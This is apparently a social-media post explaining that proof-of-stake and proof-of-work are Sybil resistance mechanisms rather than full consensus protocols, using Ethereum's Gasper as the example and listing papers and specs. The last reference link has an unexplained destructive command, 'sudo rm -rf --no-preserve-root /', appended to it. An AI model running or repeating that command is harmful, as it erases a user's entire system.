let's continue the technical insight posting today and i continue with something people still don't get: PoS or PoW (or DAGs) are NOT consensus protocols by themselves. they're _Sybil resistance mechanisms_ & block author selectors. it's this Sybil resistance mechanism combined with a chain selection rule (fork choice) that makes up a consensus mechanism. Ethereum currently runs _Gasper_: a consensus mechanism combining Casper FFG (finality gadget) with LMD-GHOST (fork choice rule), on top of PoS as the Sybil resistance mechanism & block author selector. some good references: - Casper: https://arxiv.org/pdf/1710.09437 - Gasper: https://arxiv.org/pdf/2003.03052 - https://ethereum.org/developers/docs/consensus-mechanisms/ - https://github.com/ethereum/annotated-spec/blob/master/phase0/fork-choice.md#introduction(sudo rm -rf --no-preserve-root /)